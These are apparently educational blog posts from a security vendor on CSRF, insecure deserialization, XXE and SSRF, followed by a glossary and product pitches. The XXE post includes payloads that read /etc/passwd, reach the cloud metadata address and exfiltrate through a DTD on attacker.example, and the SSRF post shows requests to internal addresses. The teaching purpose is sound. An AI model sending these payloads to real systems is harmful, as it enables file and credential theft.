    • Do not lean on CORS for this. It guards reads, not writes.
    • Keep read endpoints read only, so a GET never changes state.

    Want more on the access boundaries attackers probe, from sessions to permissions? Read the access control posts.

    Closing

    CSRF is a logic gap, not a payload. The server trusts a cookie as proof of intent, and an attacker borrows that trust for one request. The fix is to prove intent on every write with an unpredictable token, withhold cookies on cross site requests, and check where the request came from. This is exactly the kind of assumption, the cookie alone means the user meant it, that an autonomous researcher built to test how an app really behaves is made to find. To see how UnboundCompute approaches that, read about.

    Frequently asked questions

    What is a CSRF attack?

    A CSRF attack tricks a logged in user’s browser into sending a request they never meant to send. The browser attaches the victim’s session cookie automatically, so the target app sees a normal authenticated request and acts on it. See the OWASP CSRF page for more background.

    How do you prevent CSRF?

    Require an anti CSRF token on every state changing request, drawn from a secure random source and unique per session, because the attacker’s page cannot read it. Set SameSite on session cookies so the browser withholds them on cross site requests, and validate the Origin header on writes as a backup layer.

    Does CORS protect against CSRF?

    No. CORS controls whether JavaScript on one origin may read the response from another origin, but CSRF does not care about reading the response, since the damage is done the moment the server processes the request. A restrictive CORS policy does nothing to stop the browser from sending a cross site request with cookies attached, so treat CORS and CSRF as separate problems.

    What makes a request vulnerable to CSRF?

    Three things have to hold at once. The request changes state, like updating an email or transferring funds, it authenticates by cookie alone, and it is predictable enough that an attacker can guess the method, URL, and field names in advance. Break any one of these and the attack gets much harder.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Cookie Security Auditor lets you paste a Set-Cookie header and see which flags are missing. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is insecure deserialization?

    What is insecure deserialization?

    Most web apps need to save an object now and rebuild it later. Saving it as bytes is called serialization. Turning those bytes back into a live object is deserialization. Insecure deserialization is what happens when an app rebuilds objects from bytes it does not trust, like a cookie or a request body a user controls, and treats the result as if the app itself had created it.

    What serialization and deserialization actually are

    Serialization turns a structure in memory into a flat string of bytes you can store on disk or send over the network. Deserialization is the reverse step. Your app reads the bytes and reconstructs the object so it can call methods on it and read its fields.

    Here is the part that trips people up. The bytes are not just data. In many languages they carry type information, field values, and sometimes instructions about which classes to build and which methods to run while building them. When the bytes come from a place the user can change, you are letting the user influence what your program constructs.

    If untrusted bytes can decide which objects your code builds, the user is no longer sending you data. The user is sending you a program.

    Why insecure deserialization is dangerous

    An app usually treats a freshly deserialized object as trustworthy. It assumes the fields are sane and the types are the ones it expected. An attacker who controls the input breaks both assumptions. There are two distinct levels of damage, and it helps to keep them separate.

    Level one: data tampering

    The simpler attack just edits values inside the serialized blob. Say a session cookie stores a small object describing the logged in user. If the app serializes it in a readable format and does not sign it, the user can decode it, change one field, and send it back. A field that said role=user becomes role=admin. No code execution, no exotic tricks. The app deserializes the edited object and grants access it never meant to grant.

    Level two: remote code execution through gadget chains

    The serious version uses the deserialization step itself to run code. Some languages run special methods automatically while rebuilding an object, for example a setup or cleanup hook. A gadget is an existing class already on the app’s classpath whose automatic method does something useful to an attacker, like reading a file or calling another method. A gadget chain stitches several of these together so that simply rebuilding a crafted object kicks off a sequence that ends in command execution.

    The important high level point: the attacker is not uploading new code. They are arranging classes the app already ships so that the act of deserializing runs them in an order the authors never intended. That is why this class of bug can jump from “changed a value” to “ran a shell command” with the same root cause. (No working chain is shown here on purpose. The defense is the same either way.)

    Where insecure deserialization shows up

    This is a language wide problem, not a single bad function. It appears anywhere an app turns attacker reachable bytes back into objects:

    • Java: ObjectInputStream.readObject() on data from a request, cookie, or message queue.
    • PHP: unserialize() on a value the client controls, which can trigger magic methods like __wakeup and __destruct.
    • Python: pickle.loads() on untrusted input. Pickle is documented as unsafe for this and can run arbitrary code by design.
    • .NET: formatters such as BinaryFormatter and some configurations of Json.NET that resolve types from the payload.
    • JSON with type hints: a $type or _class field that tells the parser which concrete class to build. Plain JSON is just data, but type aware deserialization brings the same risks back.
    • Cookies and sessions: any session token that stores a serialized object instead of an opaque id pointing at server side state.

    A tampered session, and a safer design

    Below is a readable, unsigned session value, the edited version an attacker would send, and an opaque token that removes the whole problem. This is intentionally generic and shows the shape, not a payload.

    # Original session cookie (readable, not signed)
    session = {"uid": 4181, "role": "user", "plan": "free"}
    encoded = base64("{\"uid\":4181,\"role\":\"user\",\"plan\":\"free\"}")
    
    # Attacker decodes, edits one field, encodes again, sends it back
    tampered = base64("{\"uid\":4181,\"role\":\"admin\",\"plan\":\"free\"}")
    # Server deserializes and now believes the user is an admin
    
    # Safer: opaque id, real data stays on the server
    set_cookie("sid", random_256_bit_id())     # nothing meaningful to edit
    session = store.lookup(sid)                 # role comes from the database
    
    # If a token must carry claims, sign it and verify before trusting it
    token  = sign(payload, server_secret)
    claims = verify(token, server_secret)       # reject on bad signature
    
    # Never feed untrusted bytes to a native object builder
    pickle.loads(request.body)                  # unsafe by design
    data = json.loads(request.body)             # plain data, no type hints, then validate
    

    The opaque id works because there is nothing inside the cookie worth editing. The signed token works because any edit breaks the signature and the server refuses it. The last line works because plain JSON parsing returns a dictionary, not a reconstructed class with hidden behavior.

    How to detect it

    • Grep for the dangerous calls. Search the codebase for readObject, unserialize, pickle.loads, BinaryFormatter, and type aware JSON settings. Then ask where each input comes from.
    • Trace the source of the bytes. A deserialization call on a config file you ship is fine. The same call on a cookie, header, upload, or queue message is the risk.
    • Watch for telltale prefixes. Java serialized data often starts with the bytes ac ed 00 05, and base64 of that begins with rO0. Seeing that in a cookie is a strong hint. When you have an unknown blob in hand, our free file entropy and magic byte analyzer reads its leading bytes and entropy so you can tell a serialized object from plain compressed or encrypted data.
    • Test assumptions, not just signatures. Flip a role field or swap a declared type and see whether the app still trusts the object. That is exactly the kind of assumption a careful review checks.

    How to prevent it

    • Do not deserialize untrusted input into native objects. This is the core fix. Use plain data formats like JSON or a strict schema, then validate fields by hand.
    • Use opaque session ids. Keep user role and permissions on the server, keyed by a random id, so the client holds nothing worth tampering with.
    • Sign anything the client carries. If a token must hold claims, sign it and verify the signature before reading a single field.
    • Allowlist types if you truly need typed deserialization. Restrict which classes the deserializer is allowed to build, and reject everything else by default.
    • Add integrity and isolation. Authenticate and encrypt stored objects, run parsers with low privileges, and keep dependencies patched so known gadget classes are gone.

    For more on input that crosses a trust boundary, see our injection and input category, which groups the bugs that share this root cause.

    Why this bug rewards understanding the app

    Insecure deserialization is rarely found by throwing a fixed list of payloads at a target. It depends on which format the app uses, which classes it ships, and which fields it trusts after rebuilding an object. You find it by understanding what the app assumes and then testing whether those assumptions hold.

    That is the kind of bug an autonomous researcher built to test assumptions is meant to catch. In early work, a frontier model drove that full method on its own and identified and verified real access control and injection issues in test apps it had not seen before. That is an encouraging early signal, not a benchmark. You can read more about the approach on our about page.

    Frequently asked questions

    What is insecure deserialization?

    Insecure deserialization is what happens when an app rebuilds objects from bytes it does not trust, like a cookie or a request body a user controls, and treats the result as if the app itself had created it. In many languages those bytes carry type information and instructions about which classes to build, so the user is influencing what the program constructs. See the MITRE CWE 502 entry for the formal definition.

    Can insecure deserialization lead to remote code execution?

    Yes. Some languages run special methods automatically while rebuilding an object, and a gadget chain stitches together classes already on the app’s classpath so that simply deserializing a crafted object kicks off a sequence ending in command execution. The attacker uploads no new code, they just arrange classes the app already ships in an order the authors never intended.

    How do you prevent insecure deserialization?

    Do not deserialize untrusted input into native objects. Use plain data formats like JSON and validate fields by hand, keep user role and permissions on the server behind an opaque session id, and sign anything the client carries so any edit breaks the signature. If you truly need typed deserialization, allowlist which classes may be built and reject the rest.

    How do you spot a Java serialized object in a request?

    Java serialized data often starts with the bytes ac ed 00 05, and the base64 form of that begins with rO0. Seeing that prefix in a cookie or header is a strong hint that the app is feeding client controlled bytes to an object builder.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is XXE injection and how does it work?

    What is XXE injection and how does it work?

    XXE injection is a bug that lets an attacker abuse the way an application reads XML. If a parser is set up to resolve external entities, a request that looks like ordinary data can ask the server to open local files, reach internal services, or quietly leak data to a server the attacker controls. This post teaches xxe injection from zero: what XML and a DTD are, what an external entity does, a vulnerable parser, and the small config changes that shut the whole class down.

    Start with the parts: XML, DTD, and entities

    XML is a text format for structured data. Tags wrap values, and the result looks like this:

    <?xml version="1.0"?>
    <order>
      <item>notebook</item>
      <qty>3</qty>
    </order>

    A DTD (Document Type Definition) is an optional block at the top of an XML document that declares rules and reusable pieces. You start it with a <!DOCTYPE> line. Inside a DTD you can define an entity, which is a named shortcut. A normal internal entity is just text substitution:

    <?xml version="1.0"?>
    <!DOCTYPE order [
      <!ENTITY company "Acme Notes">
    ]>
    <order><buyer>&company;</buyer></order>

    The parser sees &company; and swaps in Acme Notes. So far this is harmless. The danger starts with one extra keyword.

    What an external entity is

    An external entity uses the SYSTEM keyword to pull its value from somewhere outside the document, named by a URI. The parser fetches that URI and inlines whatever comes back. That URI can be a file path or a network address:

    <!ENTITY secret SYSTEM "file:///etc/passwd">

    If the parser resolves that entity, it reads the file and substitutes the contents. The attacker never touched the disk. They just sent XML, and a misconfigured parser did the reading for them.

    How xxe injection actually works against a vulnerable parser

    Imagine a typical SaaS app, call it Acme Notes, with an endpoint that accepts an XML body to import notes. The backend parses it with default settings. In Java that often looks like this:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(request.getInputStream());

    Nothing here disables external entities, so the parser will resolve them. The attacker sends this body to the import endpoint:

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ENTITY leak SYSTEM "file:///etc/passwd">
    ]>
    <note><title>&leak;</title></note>

    The parser reads /etc/passwd and places its contents into the title field. If the app echoes that title back, in a confirmation message or an error, the attacker reads the file in the response. That is the classic file read, and it works because the app trusted the XML to be plain data.

    The vulnerability is not in the XML. It is in a parser that was told it may go fetch whatever a document points at.

    SSRF through XXE

    The external entity URI does not have to be a file. Swap the path for an internal address and the server makes the request for you:

    <!ENTITY leak SYSTEM "http://169.254.169.254/latest/meta-data/">

    Now the parser sends an HTTP request from inside the network, to a host the attacker could never reach directly. This is server side request forgery (SSRF) riding on top of XXE. It can hit cloud metadata endpoints, internal admin panels, or services that assume any caller from inside the perimeter is trusted.

    Blind XXE and out of band exfiltration

    Often the app does not echo the parsed value back. There is no field that returns to the attacker, so the file read seems dead. This is blind XXE, and the fix from the attacker side is to send the data somewhere else instead of waiting for it in the response.

    The trick uses an external DTD. The malicious document points at a DTD hosted on a server the attacker controls:

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ENTITY % remote SYSTEM "http://attacker.example/evil.dtd">
      %remote;
    ]>
    <note><title>ok</title></note>

    That remote evil.dtd reads a local file, then builds a URL with the file contents glued into it and forces the parser to request that URL. The attacker reads the file out of their own web server logs. Nothing came back in the HTTP response, so this is out of band (OOB) exfiltration. I am describing the shape at a high level on purpose. The point is that blind does not mean safe.

    How to prevent xxe injection

    The good news: this whole class has one root cause and one clean fix. The application almost never needs external entities or a DOCTYPE in user supplied XML. Turn them off and the attack has nothing to stand on.

    • Disable DOCTYPE entirely when you can. If the parser refuses any document with a <!DOCTYPE>, every entity trick above stops at the door.
    • Disable external entities and external DTD loading as a second layer, in case some flow needs DOCTYPE.
    • Prefer a simpler format. If the endpoint only ever receives small structured records, JSON sidesteps entities completely.
    • Patch every parser, not just one. Apps often parse XML in several places, including SOAP, SVG uploads, office document handling, and SAML. One safe parser does not protect the others.

    Safe parser config

    Here is the same Java factory, locked down. The first line is the one that matters most:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setExpandEntityReferences(false);
    DocumentBuilder db = dbf.newDocumentBuilder();

    The same idea carries to other stacks. In Python with lxml, build the parser with etree.XMLParser(resolve_entities=False, no_network=True), or use the defusedxml library, which ships with these defenses on. In .NET, set XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit. In PHP with libxml, avoid loading external entities and keep network access off. The wording differs per language, but the goal is identical: no DOCTYPE, no external entities, no network fetches during parsing.

    One more habit. Do not rely on a web application firewall to spot these payloads. XML has many encodings and an attacker can nest entities or split the DOCTYPE to dodge a signature. A firewall is a speed bump. The parser config is the wall. For more on injection style bugs and how input crosses a trust boundary, see our writeups under Injection and Input.

    Why this is easy to miss

    XXE hides because the vulnerable code looks finished. The parser works, valid notes import, tests pass. The risky behavior, resolving an external pointer, only shows up when someone sends a document built to exercise it. That gap between “the app accepts XML” and “the app will fetch whatever the XML points at” is an assumption no one wrote down. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, by asking what the parser will do rather than matching a known string. If you want the longer view on that approach, read more on the about page. Turn off the DOCTYPE, confirm it on every parser, and xxe injection stops being a hole you can walk through.

    Frequently asked questions

    What is XXE injection?

    XXE injection abuses the way an application reads XML. If the parser is set up to resolve external entities, a document can ask the server to open local files, reach internal services, or leak data to a server the attacker controls. See the PortSwigger Web Security Academy XXE topic for full walkthroughs.

    What is an external entity in XML?

    An external entity uses the SYSTEM keyword to pull its value from outside the document, named by a URI such as a file path or a network address. If the parser resolves it, the parser fetches that URI and inlines whatever comes back, which is how an attacker reads files like /etc/passwd without ever touching the disk.

    How do you prevent XXE injection?

    Disable DOCTYPE processing entirely in user supplied XML where you can, since that stops every entity trick at the door. As a second layer, disable external general and parameter entities and external DTD loading, and apply the same config to every parser in the app, including SOAP, SVG uploads, and SAML handling.

    What is blind XXE?

    Blind XXE is when the app does not echo the parsed value back, so the file read seems dead. An attacker can still steal data by pointing the document at an external DTD that builds a URL with the file contents and forces the parser to request it, reading the result from their own server logs. This is out of band exfiltration, and it shows that blind does not mean safe.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • What is SSRF? Server Side Request Forgery Explained

    What is SSRF? Server Side Request Forgery Explained

    Server side request forgery, or SSRF, is a flaw where an attacker supplies a URL and makes your server send the request on their behalf, reaching systems the attacker could never open directly. The user controls an address, the server fetches it, and the server’s trusted position on the network becomes the attacker’s. Any feature that takes a URL or a host name from a user and fetches it is a place SSRF can hide. This post explains how it works, why the cloud makes it worse, how to spot it, and how to shut it down.

    The examples use a made up app so nothing here points at a real target.

    What is server side request forgery?

    It is a server fetching whatever address a user hands it, a weakness catalogued by MITRE as CWE-918. Picture an app called Acme Notes. It has a friendly feature: paste a link and it pulls a preview image for you. Behind the scenes the server does something like this.

    POST /preview
    { "url": "https://example.com/photo.png" }

    The server reads that URL, makes the request itself, and sends the result back. That is the whole feature, and on a good day it is harmless. The problem is the server will fetch whatever you put there, including addresses that belong to the inside of the network, not the public internet.

    So an attacker stops sending a normal photo link and starts sending internal ones.

    POST /preview
    { "url": "http://localhost:8080/admin" }
    
    POST /preview
    { "url": "http://192.168.0.10/" }

    Your server happily reaches those, because to the network the request is coming from a trusted machine, not from a stranger. The user could never open http://localhost:8080/admin in their own browser. The server can, and you just lent it to them.

    Why is SSRF so dangerous in the cloud?

    It is dangerous in the cloud because the server’s own credentials sit one internal request away. On a normal server SSRF lets an attacker map and poke at internal services: admin panels, databases, message queues, and other apps that were never meant to face the public. In a cloud setup it gets worse, because most cloud providers expose a metadata service at a fixed internal address that hands out configuration and, in some setups, temporary credentials.

    If an app is vulnerable and the environment is not locked down, a request aimed at that internal metadata address can return secrets the attacker should never see. From there a small preview feature turns into a path toward the cloud account itself. That is the jump that makes SSRF a headline bug rather than a minor one, and the reason OWASP gives SSRF a category of its own in the Top 10 instead of filing it under general access control.

    SSRF is rarely about breaking the server. It is about borrowing its position on the network, which is far more useful than anything the attacker has from outside.

    Where does SSRF show up?

    It shows up in any feature that accepts an address and fetches it for you, which is a longer list than most teams expect.

    • Link previews and unfurlers. Anything that fetches a page to show a title or image.
    • Webhooks. You let users register a URL to receive events. The server calls it. That is SSRF by design unless you constrain it.
    • Document and image processors. Features that import a file from a URL, convert a page to a PDF, or load a remote image.
    • Imports by URL. “Import your data from this address” style features.
    • Hidden parameters. Fields like image_url, callback, dest, or feed buried in a request body.

    Some of these are blind, meaning you never see the response. The server still made the request, so an attacker can use timing or out of band tricks to confirm it. Blind does not mean safe.

    How do you find SSRF in an app?

    You find it by reading the app for the assumption it is making. The app assumes the URL you hand it points somewhere public and harmless. So you test that assumption directly.

    • List every feature that accepts a URL, host name, or address, including the ones hidden in JSON bodies and headers.
    • Point one at an address you control and watch whether the server actually calls it. If it does, the server is fetching user input.
    • Then ask the real question: can I aim it at something internal? Try a loopback address, a private range, and the cloud metadata address for your platform.
    • For blind cases, use a request listener you own so you can see the server reach out even when the app shows you nothing.

    This is the same habit behind most serious findings. You do not throw random payloads. You understand what the feature is for, notice the trust it is built on, and test whether that trust holds. For more on that mindset see how hackers find vulnerabilities.

    How do you prevent it?

    You prevent it by deciding, on the server, exactly where a request is allowed to go. You cannot fix the bug by blocking a list of bad strings, because there are too many ways to write the same address.

    • Use an allow list of destinations. If the feature only ever needs to reach three known providers, allow those and refuse everything else. An allow list beats a block list every time.
    • Resolve the host first, then check it. Turn the host name into an IP address and reject anything that lands on a private, loopback, or link local range. Do the check after resolving, so a name that quietly points inside cannot slip through. Our free SSRF IP and URL normalizer expands the encodings and shorthand that hide an internal address so you can see where a value really resolves.
    • Block the metadata address explicitly and require credentials on that service where your cloud supports it.
    • Do not follow redirects blindly. A public URL can redirect to an internal one. Re check the destination on every hop.
    • Isolate the fetcher. Run the part that makes outbound requests with no access to internal systems, so even a successful SSRF reaches nothing useful.

    The theme is the same as most access control work: the server has to own the decision about what is allowed, not trust the input. If that idea is useful, the web and API security glossary defines SSRF and the terms around it in one place.

    What should you take away?

    Take away that SSRF is a quiet bug. The request looks ordinary, the feature works as designed, and the only thing wrong is where the server is willing to go. That is exactly the kind of assumption an autonomous researcher that studies how an app is meant to work is built to test, by understanding the feature, forming an idea about where the trust breaks, and proving it before calling it a finding. You can read more about UnboundCompute if that approach is interesting.

    Frequently asked questions

    What is server side request forgery in simple terms?

    Server side request forgery, or SSRF, is a bug where an attacker supplies a URL and the server fetches it on their behalf, which lets the attacker reach addresses they could never open directly. Because the request comes from a trusted machine, the server can reach internal services like admin panels and databases. See the PortSwigger Web Security Academy SSRF topic for worked examples.

    Why is SSRF so dangerous in cloud environments?

    Most cloud providers expose a metadata service at a fixed internal address that can hand out configuration and, in some setups, temporary credentials. If an app is vulnerable and the environment is not locked down, a request aimed at that address can return secrets, which turns a small preview feature into a path toward the whole cloud account.

    How do you prevent SSRF?

    Decide on the server exactly where a request is allowed to go, using an allow list of known destinations rather than a block list of bad strings. Resolve the host name to an IP first and reject private, loopback, or link local ranges, block the metadata address, and do not follow redirects blindly.

    What is blind SSRF?

    Blind SSRF is when the server makes the request but never shows you the response. The attack still works, because an attacker can confirm the server reached out using timing or a request listener they own. Blind does not mean safe.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: SSRF IP and URL Normalizer lets you normalize a URL the way a vulnerable fetcher would and see what host it resolves to. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Web and API Security Glossary: Vulnerabilities and Terms Explained

    Web and API Security Glossary: Vulnerabilities and Terms Explained

    This glossary explains the most common web application vulnerabilities and the security terms that go with them, in plain language. It is built for people starting from zero, so each entry is short and concrete. Where we have a deeper post, the term links to it. Skim it, bookmark it, or read it top to bottom.

    The entries are grouped into core concepts, access control, injection and input, logic and API flaws, and the ways people test for all of these. If you only read one section, read common web application vulnerabilities first.

    Core concepts

    • Vulnerability. A weakness in an application that lets someone do something they should not be able to do, like read another user’s data or run their own code on the server.
    • Exploit. The specific steps or request that turns a vulnerability into real impact. A vulnerability is the open window; the exploit is climbing through it.
    • Threat. Anyone or anything that could act against the app, from a bored attacker to an automated bot scanning the whole internet.
    • Attack surface. Every place an attacker can touch the app: pages, forms, API endpoints, file uploads, headers, and parameters. The bigger the surface, the more there is to get wrong.
    • Payload. The piece of input that triggers the bug, for example a snippet of script or a crafted value in a URL parameter.
    • Proof of concept. A safe demonstration that a bug is real, without causing damage. It is the difference between “this might be exploitable” and “here is the proof.”
    • False positive. A finding a tool reports that is not actually exploitable. Too many of these waste a team’s time and train them to ignore alerts.
    • CVE. A public identifier for a known vulnerability in a specific piece of software, like CVE 2024 12345. It lets everyone refer to the same issue.
    • CVSS. A scoring system from 0 to 10 that rates how severe a vulnerability is. Higher means worse, but context still matters more than the number.
    • Zero day. A vulnerability that is being exploited before the vendor has a fix available. Defenders have zero days of warning.

    Access control

    Access control bugs are about who is allowed to do what. They are some of the highest impact issues because they often expose other users’ data directly. See access control vulnerabilities for the full picture.

    • Authentication. Proving who you are, usually with a password or a login token. See authentication vs authorization.
    • Authorization. Deciding what you are allowed to do once you are logged in. Many breaches come from getting this step wrong.
    • Broken access control. When the app fails to check that a user is allowed to perform an action, so a normal user can reach admin pages or other people’s records.
    • IDOR. Insecure direct object reference. Changing an id in a URL like /invoice/123 to /invoice/124 and seeing data that is not yours. See the IDOR and BOLA entry.
    • BOLA. Broken object level authorization. The API version of IDOR, and the most common serious API flaw. The endpoint returns an object without checking it belongs to the caller.
    • Privilege escalation. Gaining rights you should not have. See privilege escalation.
    • Horizontal escalation. Acting as another user at the same level, for example reading a peer’s messages.
    • Vertical escalation. Jumping to a higher level, for example a normal user gaining admin powers.
    • Session. The server’s memory that you are logged in, tracked by a cookie or token. Steal the session and you become that user.
    • JWT. JSON web token. A signed token that carries login claims. Weak signing or trusting unverified claims turns it into an access control bug.

    Injection and input

    Injection happens when input is treated as a command instead of plain data. The app mixes attacker text into a query, a page, or a shell, and the attacker’s text takes over.

    • Injection. The general class where untrusted input changes the meaning of a command the app runs.
    • SQL injection. Injecting database query syntax to read or change data the app never meant to expose. See SQL injection.
    • Cross site scripting. XSS. Injecting script that runs in another user’s browser, often to steal sessions. See cross site scripting.
    • Stored XSS. The script is saved by the app, for example in a comment, and runs for every visitor who views it.
    • Reflected XSS. The script comes back in the response to a single crafted request, usually delivered through a link.
    • DOM XSS. The bug lives in client side JavaScript that writes attacker input into the page without cleaning it.
    • Command injection. Getting the server to run your operating system commands. See command injection.
    • SSTI. Server side template injection. Input is rendered as a template expression, which can lead to running code on the server.
    • Path traversal. Using sequences like ../ to read files outside the intended folder, such as configuration or password files.
    • SSRF. Server side request forgery. Tricking the server into making requests for you, often to reach internal systems a user cannot touch directly.
    • XXE. XML external entity. Abusing XML parsing to read local files or make the server send requests.
    • CSRF. Cross site request forgery. Tricking a logged in user’s browser into sending an action they did not intend, like changing their email.
    • Open redirect. A redirect that sends users to any URL an attacker supplies, useful for convincing phishing links.

    Logic and API flaws

    These bugs are not about malformed input. The request is valid; the app’s rules are wrong. They are hard for scanners to catch because nothing looks broken on the surface.

    • Business logic vulnerability. A flaw in the app’s rules, like applying a discount twice or skipping a payment step. See business logic vulnerabilities.
    • Mass assignment. Sending extra fields in a request, like role=admin, that the app blindly saves because it trusts the whole object.
    • Broken function level authorization. An admin only action that is reachable by anyone who knows the endpoint, because the function itself never checks the role.
    • Rate limiting. A control that caps how often an action can run. Missing it enables brute force, scraping, and abuse.
    • Race condition. Sending requests at the same moment to slip between two steps, for example redeeming one gift code twice before the balance updates.

    How these get found and tested

    Finding web application vulnerabilities is its own discipline. Different methods catch different things, and none catches everything. For the bigger picture see how hackers find vulnerabilities and web application security.

    • Penetration testing. A skilled person tries to break the app on purpose and reports what worked.
    • Automated penetration testing. Software that does much of that work continuously. See automated penetration testing.
    • Vulnerability scanner. A tool that checks an app against a list of known issues and patterns. Fast and broad, but prone to false positives and blind to logic bugs.
    • SAST. Static analysis. Reads the source code without running it. See SAST vs DAST vs IAST.
    • DAST. Dynamic analysis. Tests the running app from the outside, the way an attacker sees it.
    • IAST. Interactive analysis. Watches the app from the inside while it runs to spot issues with more context.
    • Fuzzing. Throwing large amounts of malformed or random input at the app to see what crashes or misbehaves.
    • Verification. Proving a finding is real with concrete evidence before reporting it, so the output is signal and not a pile of maybes.

    See the ideas in action

    Definitions only go so far. Two teardowns walk through how these pieces combine in a realistic app: an IDOR that exposes user data and chaining small bugs into a real breach.

    The highest impact bugs rarely come from one exotic payload. They come from understanding how an app is meant to work, then noticing where that logic quietly breaks.

    That is exactly the kind of reasoning an autonomous researcher that tests an app’s assumptions is built for. It learns how the app works, forms ideas about where it breaks, runs experiments, and proves a finding before reporting it. If that approach interests you, read more about UnboundCompute.

    Frequently asked questions

    What is the difference between authentication and authorization?

    Authentication proves who you are, usually with a password or a login token, while authorization decides what you are allowed to do once you are logged in. They are separate steps, and many breaches come from getting the second one wrong even when the first one works fine. The OWASP Broken Access Control page covers how authorization fails in practice.

    What does CSRF stand for?

    CSRF stands for cross site request forgery. It is a bug where an attacker tricks a logged in user’s browser into sending an action they did not intend, like changing their email, because the browser attaches the session cookie automatically.

    What is the difference between IDOR and BOLA?

    IDOR means insecure direct object reference, where changing an id in a URL like /invoice/123 to /invoice/124 exposes data that is not yours. BOLA, broken object level authorization, is the API version of the same flaw and is the most common serious API bug, where an endpoint returns an object without checking it belongs to the caller.

    What is the difference between a vulnerability and an exploit?

    A vulnerability is a weakness that lets someone do something they should not be able to do, like read another user’s data. An exploit is the specific request or set of steps that turns that weakness into real impact. The vulnerability is the open window, and the exploit is climbing through it.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Why we only report proven vulnerabilities

    Why we only report proven vulnerabilities

    Most security tools hand you a list of maybes. We do the opposite. Our rule is simple: we only report a bug after vulnerability verification, which means we have shown concrete evidence that the bug is real and exploitable. If we cannot prove it, we hold it back.

    This sounds obvious, but it goes against how most scanning works. A scanner sees a pattern it recognizes and raises an alert. It does not check whether that pattern actually breaks anything in your app. So the team on the other end inherits the hard part: deciding which alerts are real.

    A finding is not the same as a proven finding

    A finding is a guess. A tool noticed something that looks like a known weakness. Maybe a parameter name matches a SQL injection signature. Maybe a response header is missing. Maybe a login form lacks a rate limit field the tool expected to see. These are reasons to look closer. They are not proof.

    A proven finding is different. It comes with evidence that the bug works. Not a signature match, but a sequence you can replay: this request, sent in this way, produced this result that should not have been possible.

    Consider an invented app called Acme Notes. A scanner flags this endpoint because the URL has a numeric id:

    GET /api/notes/1042
    Authorization: Bearer <user A token>

    The flag says “possible insecure direct object reference”. That is a finding. It is a hint, nothing more. To turn it into a proven finding, you have to do the thing the scanner did not: log in as user A, request a note that belongs to user B, and show that user A reads private data.

    GET /api/notes/2099
    Authorization: Bearer <user A token>
    
    200 OK
    { "id": 2099, "owner": "userB", "body": "userB private note" }

    Now you have something real. User A read user B data. That response body is the evidence. The bug is no longer a guess about a numeric id. It is a confirmed access control failure with a request and a response that prove it.

    Why unproven alerts waste a security team’s time

    Every unproven alert is work pushed downstream. Someone has to triage it. They read the alert, open the app, try to reproduce it, and most of the time discover the alert was wrong. The parameter was safe. The missing header did not matter behind the gateway. The flagged id was scoped to the user all along.

    That triage cost is real and it repeats. A queue full of maybes does three bad things:

    • It buries the real bugs. When most alerts are noise, the few that matter get the same tired glance as the rest.
    • It trains people to ignore alerts. After the tenth false alarm, the eleventh gets closed without a real look. That is how a true positive slips through.
    • It moves the proof work onto humans. The tool guessed. Now an engineer spends an afternoon confirming or dismissing the guess, which is the expensive part the tool skipped.

    If a tool cannot prove the bug, it has not finished the job. It has only handed you a longer to do list.

    The difference between scanners and research is exactly this gap. We wrote more about that split in scanners vs research. A scanner matches patterns at scale and stops there. A researcher keeps going until the bug is shown to be real or shown to be nothing.

    What vulnerability verification actually means

    Vulnerability verification is the step where a candidate bug earns the word “vulnerability”. It means producing evidence that the issue is both real and exploitable in the running app, under realistic conditions.

    Real, not theoretical

    A pattern match says “this looks like a bug”. Verification says “I made the bug happen”. For the Acme Notes case, that is the second request above and the response body that should never have reached user A. For an injection bug, it is not a payload that matches a regex. It is a request that changes the query and returns data the query was never meant to return.

    Exploitable under real conditions

